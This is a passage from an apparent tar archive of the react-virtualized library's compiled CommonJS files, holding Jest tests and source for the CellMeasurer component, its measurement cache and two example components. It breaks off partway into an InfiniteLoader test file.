    }, element),
        heightFn = _mockClientWidthAndHe5.heightFn,
        widthFn = _mockClientWidthAndHe5.widthFn;

    expect(heightFn).toHaveBeenCalledTimes(0);
    expect(widthFn).toHaveBeenCalledTimes(0);
    expect(cache.has(0, 0)).toBe(false);
    renderHelper({
      cache: cache,
      parent: parent,
      children: function children(_ref4) {
        var registerChild = _ref4.registerChild;
        registerChild(element);
        return null;
      }
    });
    expect(parent.invalidateCellSizeAfterRender).toHaveBeenCalled();
    expect(heightFn).toHaveBeenCalledTimes(1);
    expect(widthFn).toHaveBeenCalledTimes(1);
    expect(cache.has(0, 0)).toBe(true);
    expect(cache.getWidth(0, 0)).toBe(100);
    expect(cache.getHeight(0, 0)).toBe(20);
  });
  it('registerChild() should not measure content that is already in the cache', function () {
    var cache = new _CellMeasurerCache["default"]({
      fixedWidth: true
    });
    cache.set(0, 0, 100, 20);
    var parent = createParent({
      cache: cache
    });
    var element = document.createElement('div');

    var _mockClientWidthAndHe6 = mockClientWidthAndHeight({
      height: 20,
      width: 100
    }, element),
        heightFn = _mockClientWidthAndHe6.heightFn,
        widthFn = _mockClientWidthAndHe6.widthFn;

    expect(cache.has(0, 0)).toBe(true);
    renderHelper({
      cache: cache,
      parent: parent,
      children: function children(_ref5) {
        var registerChild = _ref5.registerChild;
        registerChild(element);
        return null;
      }
    });
    expect(parent.invalidateCellSizeAfterRender).not.toHaveBeenCalled();
    expect(heightFn).toHaveBeenCalledTimes(0);
    expect(widthFn).toHaveBeenCalledTimes(0);
  });
  it('should pass a :measure param to a function child', function () {
    var cache = new _CellMeasurerCache["default"]({
      fixedWidth: true
    });
    var children = jest.fn().mockReturnValue(React.createElement("div", null));
    renderHelper({
      cache: cache,
      children: children
    });
    expect(children).toHaveBeenCalled();
    var params = children.mock.calls[0][0];
    expect(typeof params.measure === 'function').toBe(true);
  });
  it('should still update cache without a parent Grid', function () {
    jest.spyOn(console, 'warn');
    mockClientWidthAndHeight({
      height: 20,
      width: 100
    });
    var cache = new _CellMeasurerCache["default"]({
      fixedWidth: true
    });
    renderHelper({
      cache: cache
    }); // No parent Grid

    expect(cache.has(0, 0)).toBe(true);
    expect(console.warn).not.toHaveBeenCalled();
  }); // See issue #593

  it('should explicitly set width/height style to "auto" before re-measuring', function () {
    var cache = new _CellMeasurerCache["default"]({
      fixedWidth: true
    });
    var parent = createParent({
      cache: cache
    });
    var child = jest.fn().mockReturnValue(React.createElement("div", {
      style: {
        width: 100,
        height: 30
      }
    }));
    var measurer;
    var node = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(React.createElement(_CellMeasurer["default"], {
      ref: function ref(_ref6) {
        measurer = _ref6;
      },
      cache: cache,
      columnIndex: 0,
      parent: parent,
      rowIndex: 0,
      style: {}
    }, child)));
    var styleHeights = [30];
    var styleWidths = [100];
    Object.defineProperties(node.style, {
      height: {
        get: function get() {
          return styleHeights[styleHeights.length - 1];
        },
        set: function set(value) {
          return styleHeights.push(value);
        }
      },
      width: {
        get: function get() {
          return styleWidths[styleWidths.length - 1];
        },
        set: function set(value) {
          return styleWidths.push(value);
        }
      }
    });

    var _measurer$_getCellMea = measurer._getCellMeasurements(node),
        height = _measurer$_getCellMea.height,
        width = _measurer$_getCellMea.width;

    expect(height).toBeGreaterThan(0);
    expect(width).toBeGreaterThan(0);
    expect(styleHeights).toEqual([30, 'auto', 30]);
    expect(styleWidths).toEqual([100, 100]);
  }); // See issue #660

  it('should reset width/height style values after measuring with style "auto"', function () {
    var cache = new _CellMeasurerCache["default"]({
      fixedHeight: true
    });
    var parent = createParent({
      cache: cache
    });
    var child = jest.fn().mockReturnValue(React.createElement("div", {
      style: {
        width: 100,
        height: 30
      }
    }));
    var node = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(React.createElement(_CellMeasurer["default"], {
      cache: cache,
      columnIndex: 0,
      parent: parent,
      rowIndex: 0,
      style: {}
    }, child)));
    node.style.width = 200;
    node.style.height = 60;
    child.mock.calls[0][0].measure();
    expect(node.style.height).toBe('30px');
    expect(node.style.width).toBe('100px');
  });
});commonjs/CellMeasurer/CellMeasurer.js000064400000020050151677406000013700 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = void 0;

var _classCallCheck2 = _interopRequireDefault(require("@babel/runtime/helpers/classCallCheck"));

var _createClass2 = _interopRequireDefault(require("@babel/runtime/helpers/createClass"));

var _possibleConstructorReturn2 = _interopRequireDefault(require("@babel/runtime/helpers/possibleConstructorReturn"));

var _getPrototypeOf3 = _interopRequireDefault(require("@babel/runtime/helpers/getPrototypeOf"));

var _assertThisInitialized2 = _interopRequireDefault(require("@babel/runtime/helpers/assertThisInitialized"));

var _inherits2 = _interopRequireDefault(require("@babel/runtime/helpers/inherits"));

var _defineProperty2 = _interopRequireDefault(require("@babel/runtime/helpers/defineProperty"));

var React = _interopRequireWildcard(require("react"));

var _reactDom = require("react-dom");

var _types = require("./types");

var _propTypes = _interopRequireDefault(require("prop-types"));

var _class, _temp;

/**
 * Wraps a cell and measures its rendered content.
 * Measurements are stored in a per-cell cache.
 * Cached-content is not be re-measured.
 */
var CellMeasurer = (_temp = _class =
/*#__PURE__*/
function (_React$PureComponent) {
  (0, _inherits2["default"])(CellMeasurer, _React$PureComponent);

  function CellMeasurer() {
    var _getPrototypeOf2;

    var _this;

    (0, _classCallCheck2["default"])(this, CellMeasurer);

    for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
      args[_key] = arguments[_key];
    }

    _this = (0, _possibleConstructorReturn2["default"])(this, (_getPrototypeOf2 = (0, _getPrototypeOf3["default"])(CellMeasurer)).call.apply(_getPrototypeOf2, [this].concat(args)));
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_child", void 0);
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_measure", function () {
      var _this$props = _this.props,
          cache = _this$props.cache,
          _this$props$columnInd = _this$props.columnIndex,
          columnIndex = _this$props$columnInd === void 0 ? 0 : _this$props$columnInd,
          parent = _this$props.parent,
          _this$props$rowIndex = _this$props.rowIndex,
          rowIndex = _this$props$rowIndex === void 0 ? _this.props.index || 0 : _this$props$rowIndex;

      var _this$_getCellMeasure = _this._getCellMeasurements(),
          height = _this$_getCellMeasure.height,
          width = _this$_getCellMeasure.width;

      if (height !== cache.getHeight(rowIndex, columnIndex) || width !== cache.getWidth(rowIndex, columnIndex)) {
        cache.set(rowIndex, columnIndex, width, height);

        if (parent && typeof parent.recomputeGridSize === 'function') {
          parent.recomputeGridSize({
            columnIndex: columnIndex,
            rowIndex: rowIndex
          });
        }
      }
    });
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_registerChild", function (element) {
      if (element && !(element instanceof Element)) {
        console.warn('CellMeasurer registerChild expects to be passed Element or null');
      }

      _this._child = element;

      if (element) {
        _this._maybeMeasureCell();
      }
    });
    return _this;
  }

  (0, _createClass2["default"])(CellMeasurer, [{
    key: "componentDidMount",
    value: function componentDidMount() {
      this._maybeMeasureCell();
    }
  }, {
    key: "componentDidUpdate",
    value: function componentDidUpdate() {
      this._maybeMeasureCell();
    }
  }, {
    key: "render",
    value: function render() {
      var children = this.props.children;
      return typeof children === 'function' ? children({
        measure: this._measure,
        registerChild: this._registerChild
      }) : children;
    }
  }, {
    key: "_getCellMeasurements",
    value: function _getCellMeasurements() {
      var cache = this.props.cache;
      var node = this._child || (0, _reactDom.findDOMNode)(this); // TODO Check for a bad combination of fixedWidth and missing numeric width or vice versa with height

      if (node && node.ownerDocument && node.ownerDocument.defaultView && node instanceof node.ownerDocument.defaultView.HTMLElement) {
        var styleWidth = node.style.width;
        var styleHeight = node.style.height; // If we are re-measuring a cell that has already been measured,
        // It will have a hard-coded width/height from the previous measurement.
        // The fact that we are measuring indicates this measurement is probably stale,
        // So explicitly clear it out (eg set to "auto") so we can recalculate.
        // See issue #593 for more info.
        // Even if we are measuring initially- if we're inside of a MultiGrid component,
        // Explicitly clear width/height before measuring to avoid being tainted by another Grid.
        // eg top/left Grid renders before bottom/right Grid
        // Since the CellMeasurerCache is shared between them this taints derived cell size values.

        if (!cache.hasFixedWidth()) {
          node.style.width = 'auto';
        }

        if (!cache.hasFixedHeight()) {
          node.style.height = 'auto';
        }

        var height = Math.ceil(node.offsetHeight);
        var width = Math.ceil(node.offsetWidth); // Reset after measuring to avoid breaking styles; see #660

        if (styleWidth) {
          node.style.width = styleWidth;
        }

        if (styleHeight) {
          node.style.height = styleHeight;
        }

        return {
          height: height,
          width: width
        };
      } else {
        return {
          height: 0,
          width: 0
        };
      }
    }
  }, {
    key: "_maybeMeasureCell",
    value: function _maybeMeasureCell() {
      var _this$props2 = this.props,
          cache = _this$props2.cache,
          _this$props2$columnIn = _this$props2.columnIndex,
          columnIndex = _this$props2$columnIn === void 0 ? 0 : _this$props2$columnIn,
          parent = _this$props2.parent,
          _this$props2$rowIndex = _this$props2.rowIndex,
          rowIndex = _this$props2$rowIndex === void 0 ? this.props.index || 0 : _this$props2$rowIndex;

      if (!cache.has(rowIndex, columnIndex)) {
        var _this$_getCellMeasure2 = this._getCellMeasurements(),
            height = _this$_getCellMeasure2.height,
            width = _this$_getCellMeasure2.width;

        cache.set(rowIndex, columnIndex, width, height); // If size has changed, let Grid know to re-render.

        if (parent && typeof parent.invalidateCellSizeAfterRender === 'function') {
          parent.invalidateCellSizeAfterRender({
            columnIndex: columnIndex,
            rowIndex: rowIndex
          });
        }
      }
    }
  }]);
  return CellMeasurer;
}(React.PureComponent), (0, _defineProperty2["default"])(_class, "propTypes", process.env.NODE_ENV === 'production' ? null : {
  "cache": function cache() {
    return (typeof _types.bpfrpt_proptype_CellMeasureCache === "function" ? _types.bpfrpt_proptype_CellMeasureCache.isRequired ? _types.bpfrpt_proptype_CellMeasureCache.isRequired : _types.bpfrpt_proptype_CellMeasureCache : _propTypes["default"].shape(_types.bpfrpt_proptype_CellMeasureCache).isRequired).apply(this, arguments);
  },
  "children": _propTypes["default"].oneOfType([_propTypes["default"].func, _propTypes["default"].node]).isRequired,
  "columnIndex": _propTypes["default"].number,
  "index": _propTypes["default"].number,
  "parent": _propTypes["default"].shape({
    invalidateCellSizeAfterRender: _propTypes["default"].func,
    recomputeGridSize: _propTypes["default"].func
  }).isRequired,
  "rowIndex": _propTypes["default"].number
}), _temp); // Used for DEV mode warning check

exports["default"] = CellMeasurer;
(0, _defineProperty2["default"])(CellMeasurer, "__internalCellMeasurerFlag", false);

if (process.env.NODE_ENV !== 'production') {
  CellMeasurer.__internalCellMeasurerFlag = true;
}commonjs/CellMeasurer/CellMeasurer.DynamicWidthGrid.example.js000064400000011736151677406000020536 0ustar00"use strict";

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = void 0;

var _defineProperty2 = _interopRequireDefault(require("@babel/runtime/helpers/defineProperty"));

var _classCallCheck2 = _interopRequireDefault(require("@babel/runtime/helpers/classCallCheck"));

var _createClass2 = _interopRequireDefault(require("@babel/runtime/helpers/createClass"));

var _possibleConstructorReturn2 = _interopRequireDefault(require("@babel/runtime/helpers/possibleConstructorReturn"));

var _getPrototypeOf2 = _interopRequireDefault(require("@babel/runtime/helpers/getPrototypeOf"));

var _assertThisInitialized2 = _interopRequireDefault(require("@babel/runtime/helpers/assertThisInitialized"));

var _inherits2 = _interopRequireDefault(require("@babel/runtime/helpers/inherits"));

var _immutable = _interopRequireDefault(require("immutable"));

var _propTypes = _interopRequireDefault(require("prop-types"));

var React = _interopRequireWildcard(require("react"));

var _CellMeasurer = _interopRequireDefault(require("./CellMeasurer"));

var _CellMeasurerCache = _interopRequireDefault(require("./CellMeasurerCache"));

var _Grid = _interopRequireDefault(require("../Grid"));

var _CellMeasurerExample = _interopRequireDefault(require("./CellMeasurer.example.css"));

function ownKeys(object, enumerableOnly) { var keys = Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols = Object.getOwnPropertySymbols(object); if (enumerableOnly) symbols = symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; }); keys.push.apply(keys, symbols); } return keys; }

function _objectSpread(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; if (i % 2) { ownKeys(source, true).forEach(function (key) { (0, _defineProperty2["default"])(target, key, source[key]); }); } else if (Object.getOwnPropertyDescriptors) { Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)); } else { ownKeys(source).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } } return target; }

var DynamicWidthGrid =
/*#__PURE__*/
function (_React$PureComponent) {
  (0, _inherits2["default"])(DynamicWidthGrid, _React$PureComponent);

  function DynamicWidthGrid(props, context) {
    var _this;

    (0, _classCallCheck2["default"])(this, DynamicWidthGrid);
    _this = (0, _possibleConstructorReturn2["default"])(this, (0, _getPrototypeOf2["default"])(DynamicWidthGrid).call(this, props, context));
    _this._cache = new _CellMeasurerCache["default"]({
      defaultWidth: 100,
      fixedHeight: true
    });
    _this._cellRenderer = _this._cellRenderer.bind((0, _assertThisInitialized2["default"])(_this));
    return _this;
  }

  (0, _createClass2["default"])(DynamicWidthGrid, [{
    key: "render",
    value: function render() {
      var width = this.props.width;
      return React.createElement(_Grid["default"], {
        className: _CellMeasurerExample["default"].BodyGrid,
        columnCount: 1000,
        columnWidth: this._cache.columnWidth,
        deferredMeasurementCache: this._cache,
        height: 400,
        overscanColumnCount: 0,
        overscanRowCount: 2,
        cellRenderer: this._cellRenderer,
        rowCount: 50,
        rowHeight: 35,
        width: width
      });
    }
  }, {
    key: "_cellRenderer",
    value: function _cellRenderer(_ref) {
      var columnIndex = _ref.columnIndex,
          key = _ref.key,
          parent = _ref.parent,
          rowIndex = _ref.rowIndex,
          style = _ref.style;
      var _this$props = this.props,
          getClassName = _this$props.getClassName,
          getContent = _this$props.getContent,
          list = _this$props.list;
      var datum = list.get((rowIndex + columnIndex) % list.size);
      var classNames = getClassName({
        columnIndex: columnIndex,
        rowIndex: rowIndex
      });
      var content = getContent({
        index: columnIndex,
        datum: datum,
        "long": false
      });
      return React.createElement(_CellMeasurer["default"], {
        cache: this._cache,
        columnIndex: columnIndex,
        key: key,
        parent: parent,
        rowIndex: rowIndex
      }, React.createElement("div", {
        className: classNames,
        style: _objectSpread({}, style, {
          height: 35,
          whiteSpace: 'nowrap'
        })
      }, content));
    }
  }]);
  return DynamicWidthGrid;
}(React.PureComponent);

exports["default"] = DynamicWidthGrid;
DynamicWidthGrid.propTypes = process.env.NODE_ENV !== "production" ? {
  getClassName: _propTypes["default"].func.isRequired,
  getContent: _propTypes["default"].func.isRequired,
  list: _propTypes["default"].instanceOf(_immutable["default"].List).isRequired,
  width: _propTypes["default"].number.isRequired
} : {};commonjs/CellMeasurer/CellMeasurer.DynamicHeightList.example.js000064400000010021151677406000020677 0ustar00"use strict";

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = void 0;

var _classCallCheck2 = _interopRequireDefault(require("@babel/runtime/helpers/classCallCheck"));

var _createClass2 = _interopRequireDefault(require("@babel/runtime/helpers/createClass"));

var _possibleConstructorReturn2 = _interopRequireDefault(require("@babel/runtime/helpers/possibleConstructorReturn"));

var _getPrototypeOf2 = _interopRequireDefault(require("@babel/runtime/helpers/getPrototypeOf"));

var _assertThisInitialized2 = _interopRequireDefault(require("@babel/runtime/helpers/assertThisInitialized"));

var _inherits2 = _interopRequireDefault(require("@babel/runtime/helpers/inherits"));

var _immutable = _interopRequireDefault(require("immutable"));

var _propTypes = _interopRequireDefault(require("prop-types"));

var React = _interopRequireWildcard(require("react"));

var _CellMeasurer = _interopRequireDefault(require("./CellMeasurer"));

var _CellMeasurerCache = _interopRequireDefault(require("./CellMeasurerCache"));

var _List = _interopRequireDefault(require("../List"));

var _CellMeasurerExample = _interopRequireDefault(require("./CellMeasurer.example.css"));

var DynamicHeightList =
/*#__PURE__*/
function (_React$PureComponent) {
  (0, _inherits2["default"])(DynamicHeightList, _React$PureComponent);

  function DynamicHeightList(props, context) {
    var _this;

    (0, _classCallCheck2["default"])(this, DynamicHeightList);
    _this = (0, _possibleConstructorReturn2["default"])(this, (0, _getPrototypeOf2["default"])(DynamicHeightList).call(this, props, context));
    _this._cache = new _CellMeasurerCache["default"]({
      fixedWidth: true,
      minHeight: 50
    });
    _this._rowRenderer = _this._rowRenderer.bind((0, _assertThisInitialized2["default"])(_this));
    return _this;
  }

  (0, _createClass2["default"])(DynamicHeightList, [{
    key: "render",
    value: function render() {
      var width = this.props.width;
      return React.createElement(_List["default"], {
        className: _CellMeasurerExample["default"].BodyGrid,
        deferredMeasurementCache: this._cache,
        height: 400,
        overscanRowCount: 0,
        rowCount: 1000,
        rowHeight: this._cache.rowHeight,
        rowRenderer: this._rowRenderer,
        width: width
      });
    }
  }, {
    key: "_rowRenderer",
    value: function _rowRenderer(_ref) {
      var index = _ref.index,
          key = _ref.key,
          parent = _ref.parent,
          style = _ref.style;
      var _this$props = this.props,
          getClassName = _this$props.getClassName,
          list = _this$props.list;
      var datum = list.get(index % list.size);
      var classNames = getClassName({
        columnIndex: 0,
        rowIndex: index
      });
      var imageWidth = 300;
      var imageHeight = datum.size * (1 + index % 3);
      var source = "https://www.fillmurray.com/".concat(imageWidth, "/").concat(imageHeight);
      return React.createElement(_CellMeasurer["default"], {
        cache: this._cache,
        columnIndex: 0,
        key: key,
        rowIndex: index,
        parent: parent
      }, function (_ref2) {
        var measure = _ref2.measure,
            registerChild = _ref2.registerChild;
        return React.createElement("div", {
          ref: registerChild,
          className: classNames,
          style: style
        }, React.createElement("img", {
          onLoad: measure,
          src: source,
          style: {
            width: imageWidth
          }
        }));
      });
    }
  }]);
  return DynamicHeightList;
}(React.PureComponent);

exports["default"] = DynamicHeightList;
DynamicHeightList.propTypes = process.env.NODE_ENV !== "production" ? {
  getClassName: _propTypes["default"].func.isRequired,
  list: _propTypes["default"].instanceOf(_immutable["default"].List).isRequired,
  width: _propTypes["default"].number.isRequired
} : {};commonjs/CellMeasurer/CellMeasurerCache.jest.js000064400000022556151677406000015605 0ustar00"use strict";

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

var _CellMeasurerCache = _interopRequireWildcard(require("./CellMeasurerCache"));

describe('CellMeasurerCache', function () {
  it('should override defaultHeight/defaultWidth if minHeight/minWidth are greater', function () {
    var cache = new _CellMeasurerCache["default"]({
      defaultHeight: 20,
      defaultWidth: 100,
      fixedHeight: true,
      fixedWidth: true,
      minHeight: 30,
      minWidth: 150
    });
    cache.set(0, 0, 50, 10);
    expect(cache.getHeight(0, 0)).toBe(30);
    expect(cache.getWidth(0, 0)).toBe(150);
    expect(cache.rowHeight({
      index: 0
    })).toBe(30);
    expect(cache.columnWidth({
      index: 0
    })).toBe(150);
  });
  it('should correctly report cache status', function () {
    var cache = new _CellMeasurerCache["default"]({
      fixedHeight: true,
      fixedWidth: true
    });
    expect(cache.has(0, 0)).toBe(false);
  });
  it('should cache cells', function () {
    var cache = new _CellMeasurerCache["default"]({
      fixedHeight: true,
      fixedWidth: true
    });
    cache.set(0, 0, 100, 20);
    expect(cache.has(0, 0)).toBe(true);
  });
  it('should return the correct default sizes for uncached cells if specified', function () {
    spyOn(console, 'warn'); // Ignore warning about variable width and height

    var cache = new _CellMeasurerCache["default"]({
      defaultHeight: 20,
      defaultWidth: 100,
      minHeight: 15,
      minWidth: 80
    });
    expect(cache.getWidth(0, 0)).toBe(100);
    expect(cache.getHeight(0, 0)).toBe(20);
    cache.set(0, 0, 70, 10);
    expect(cache.getWidth(0, 0)).toBe(80);
    expect(cache.getHeight(0, 0)).toBe(15);
  });
  it('should clear a single cached cell', function () {
    var cache = new _CellMeasurerCache["default"]({
      fixedHeight: true,
      fixedWidth: true
    });
    cache.set(0, 0, 100, 20);
    cache.set(1, 0, 100, 20);
    expect(cache.has(0, 0)).toBe(true);
    expect(cache.has(1, 0)).toBe(true);
    cache.clear(0, 0);
    expect(cache.has(0, 0)).toBe(false);
    expect(cache.has(1, 0)).toBe(true);
  });
  it('should clear a single cached row cell in column 0 when columnIndex param is absent', function () {
    var cache = new _CellMeasurerCache["default"]({
      fixedHeight: true,
      fixedWidth: true
    });
    cache.set(0, 0, 100, 20);
    cache.set(1, 0, 100, 20);
    expect(cache.has(0, 0)).toBe(true);
    expect(cache.has(1, 0)).toBe(true);
    cache.clear(0);
    expect(cache.has(0, 0)).toBe(false);
    expect(cache.has(1, 0)).toBe(true);
  });
  it('should clear all cached cells', function () {
    var cache = new _CellMeasurerCache["default"]({
      fixedHeight: true,
      fixedWidth: true
    });
    cache.set(0, 0, 100, 20);
    cache.set(1, 0, 100, 20);
    expect(cache.has(0, 0)).toBe(true);
    expect(cache.has(1, 0)).toBe(true);
    cache.clearAll();
    expect(cache.has(0, 0)).toBe(false);
    expect(cache.has(1, 0)).toBe(false);
  });
  it('should clear row and column counts when clearing all cells', function () {
    var cache = new _CellMeasurerCache["default"]({
      fixedHeight: true,
      fixedWidth: true
    });
    cache.set(0, 0, 100, 20);
    cache.set(1, 0, 100, 20);
    expect(cache._rowCount).toBe(2);
    expect(cache._columnCount).toBe(1);
    cache.clearAll();
    expect(cache._rowCount).toBe(0);
    expect(cache._columnCount).toBe(0);
  });
  it('should support a custom :keyMapper', function () {
    var keyMapper = jest.fn();
    keyMapper.mockReturnValue('a');
    spyOn(console, 'warn'); // Ignore warning about variable width and height

    var cache = new _CellMeasurerCache["default"]({
      defaultHeight: 30,
      defaultWidth: 50,
      keyMapper: keyMapper
    });
    cache.set(0, 0, 100, 20);
    expect(cache.has(0, 0)).toBe(true); // Changing the returned key should cause cache misses

    keyMapper.mockReset();
    keyMapper.mockReturnValue('b');
    expect(cache.has(0, 0)).toBe(false);
    expect(cache.columnWidth(0)).toBe(50);
    expect(cache.rowHeight(0)).toBe(30);
    expect(keyMapper.mock.calls).toHaveLength(3); // Restoring it should fix

    keyMapper.mockReset();
    keyMapper.mockReturnValue('a');
    expect(cache.has(0, 0)).toBe(true);
    expect(cache.columnWidth(0)).toBe(100);
    expect(cache.rowHeight(0)).toBe(20);
    expect(keyMapper.mock.calls).toHaveLength(3);
  });
  it('should provide a Grid-compatible :columnWidth method', function () {
    var cache = new _CellMeasurerCache["default"]({
      fixedHeight: true
    });
    expect(cache.columnWidth({
      index: 0
    })).toBe(_CellMeasurerCache.DEFAULT_WIDTH);
    cache.set(0, 0, 100, 50);
    expect(cache.columnWidth({
      index: 0
    })).toBe(100);
    expect(cache.columnWidth({
      index: 1
    })).toBe(_CellMeasurerCache.DEFAULT_WIDTH);
    cache.set(1, 0, 75, 50);
    expect(cache.columnWidth({
      index: 0
    })).toBe(100);
    cache.set(2, 0, 125, 50);
    expect(cache.columnWidth({
      index: 0
    })).toBe(125);
  });
  it('should provide a Grid-compatible :rowHeight method', function () {
    var cache = new _CellMeasurerCache["default"]({
      fixedWidth: true
    });
    expect(cache.rowHeight({
      index: 0
    })).toBe(_CellMeasurerCache.DEFAULT_HEIGHT);
    cache.set(0, 0, 100, 50);
    expect(cache.rowHeight({
      index: 0
    })).toBe(50);
    expect(cache.rowHeight({
      index: 1
    })).toBe(_CellMeasurerCache.DEFAULT_HEIGHT);
    cache.set(0, 1, 100, 25);
    expect(cache.rowHeight({
      index: 0
    })).toBe(50);
    cache.set(0, 2, 100, 75);
    expect(cache.rowHeight({
      index: 0
    })).toBe(75);
  });
  it('should return the :defaultWidth for :columnWidth if not measured', function () {
    var cache = new _CellMeasurerCache["default"]({
      defaultWidth: 25,
      fixedHeight: true,
      fixedWidth: true
    });
    expect(cache.columnWidth({
      index: 0
    })).toBe(25);
  });
  it('should return the :defaultHeight for :rowHeight if not measured', function () {
    var cache = new _CellMeasurerCache["default"]({
      defaultHeight: 25,
      fixedHeight: true,
      fixedWidth: true
    });
    expect(cache.rowHeight({
      index: 0
    })).toBe(25);
  });
  it('should recalculate cached :columnWidth when cells are cleared', function () {
    var cache = new _CellMeasurerCache["default"]({
      fixedHeight: true
    });
    expect(cache.columnWidth({
      index: 0
    })).toBe(_CellMeasurerCache.DEFAULT_WIDTH);
    cache.set(0, 0, 125, 50);
    expect(cache.columnWidth({
      index: 0
    })).toBe(125);
    cache.set(1, 0, 150, 50);
    expect(cache.columnWidth({
      index: 0
    })).toBe(150);
    cache.clear(1, 0);
    expect(cache.columnWidth({
      index: 0
    })).toBe(125);
    cache.clear(0, 0);
    expect(cache.columnWidth({
      index: 0
    })).toBe(_CellMeasurerCache.DEFAULT_WIDTH);
    cache.set(0, 0, 125, 50);
    expect(cache.columnWidth({
      index: 0
    })).toBe(125);
    cache.clearAll();
    expect(cache.columnWidth({
      index: 0
    })).toBe(_CellMeasurerCache.DEFAULT_WIDTH);
  });
  it('should recalculate cached :rowHeight when cells are cleared', function () {
    var cache = new _CellMeasurerCache["default"]({
      fixedWidth: true
    });
    expect(cache.rowHeight({
      index: 0
    })).toBe(_CellMeasurerCache.DEFAULT_HEIGHT);
    cache.set(0, 0, 125, 50);
    expect(cache.rowHeight({
      index: 0
    })).toBe(50);
    cache.set(0, 1, 150, 75);
    expect(cache.rowHeight({
      index: 0
    })).toBe(75);
    cache.clear(0, 1);
    expect(cache.rowHeight({
      index: 0
    })).toBe(50);
    cache.clear(0, 0);
    expect(cache.rowHeight({
      index: 0
    })).toBe(_CellMeasurerCache.DEFAULT_HEIGHT);
    cache.set(0, 0, 125, 50);
    expect(cache.rowHeight({
      index: 0
    })).toBe(50);
    cache.clearAll();
    expect(cache.rowHeight({
      index: 0
    })).toBe(_CellMeasurerCache.DEFAULT_HEIGHT);
  });
  describe('DEV mode', function () {
    it('should warn about dynamic width and height configurations', function () {
      spyOn(console, 'warn');
      var cache = new _CellMeasurerCache["default"]({
        fixedHeight: false,
        fixedWidth: false
      });
      expect(cache.hasFixedHeight()).toBe(false);
      expect(cache.hasFixedWidth()).toBe(false);
      expect(console.warn).toHaveBeenCalledWith("CellMeasurerCache should only measure a cell's width or height. " + 'You have configured CellMeasurerCache to measure both. ' + 'This will result in poor performance.');
    });
    it('should warn about dynamic width with a defaultWidth of 0', function () {
      spyOn(console, 'warn');
      var cache = new _CellMeasurerCache["default"]({
        defaultWidth: 0,
        fixedHeight: true
      });
      expect(cache.getWidth(0, 0)).toBe(0);
      expect(console.warn).toHaveBeenCalledWith('Fixed width CellMeasurerCache should specify a :defaultWidth greater than 0. ' + 'Failing to do so will lead to unnecessary layout and poor performance.');
    });
    it('should warn about dynamic height with a defaultHeight of 0', function () {
      spyOn(console, 'warn');
      var cache = new _CellMeasurerCache["default"]({
        defaultHeight: 0,
        fixedWidth: true
      });
      expect(cache.getHeight(0, 0)).toBe(0);
      expect(console.warn).toHaveBeenCalledWith('Fixed height CellMeasurerCache should specify a :defaultHeight greater than 0. ' + 'Failing to do so will lead to unnecessary layout and poor performance.');
    });
  });
});commonjs/InfiniteLoader/InfiniteLoader.jest.js000064400000046654151677406000015510 0ustar00"use strict";

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

var _classCallCheck2 = _interopRequireDefault(require("@babel/runtime/helpers/classCallCheck"));

var _createClass2 = _interopRequireDefault(require("@babel/runtime/helpers/createClass"));

var _possibleConstructorReturn2 = _interopRequireDefault(require("@babel/runtime/helpers/possibleConstructorReturn"));

var _getPrototypeOf5 = _interopRequireDefault(require("@babel/runtime/helpers/getPrototypeOf"));

var _assertThisInitialized2 = _interopRequireDefault(require("@babel/runtime/helpers/assertThisInitialized"));

var _inherits2 = _interopRequireDefault(require("@babel/runtime/helpers/inherits"));

var _defineProperty2 = _interopRequireDefault(require("@babel/runtime/helpers/defineProperty"));

var _regenerator = _interopRequireDefault(require("@babel/runtime/regenerator"));

var _InfiniteLoader = _interopRequireWildcard(require("./InfiniteLoader"));

var React = _interopRequireWildcard(require("react"));

var _List = _interopRequireDefault(require("../List"));

var _TestUtils = require("../TestUtils");

describe('InfiniteLoader', function () {
  var innerOnRowsRendered;
  var isRowLoadedCalls = [];
  var isRowLoadedMap = {};
  var loadMoreRowsCalls = [];
  var rowRendererCalls = [];
  beforeEach(function () {
    isRowLoadedCalls = [];
    isRowLoadedMap = {};
    loadMoreRowsCalls = [];
    rowRendererCalls = [];
  });

  function defaultIsRowLoaded(_ref) {
    var index = _ref.index;
    isRowLoadedCalls.push(index);
    return !!isRowLoadedMap[index];
  }

  function defaultLoadMoreRows(_ref2) {
    var startIndex = _ref2.startIndex,
        stopIndex = _ref2.stopIndex;
    loadMoreRowsCalls.push({
      startIndex: startIndex,
      stopIndex: stopIndex
    });
  }

  function rowRenderer(_ref3) {
    var index = _ref3.index,
        key = _ref3.key,
        style = _ref3.style;
    rowRendererCalls.push(index);
    return React.createElement("div", {
      key: key,
      style: style
    });
  }

  function getMarkup() {
    var _ref4 = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {},
        _ref4$height = _ref4.height,
        height = _ref4$height === void 0 ? 100 : _ref4$height,
        _ref4$isRowLoaded = _ref4.isRowLoaded,
        isRowLoaded = _ref4$isRowLoaded === void 0 ? defaultIsRowLoaded : _ref4$isRowLoaded,
        _ref4$loadMoreRows = _ref4.loadMoreRows,
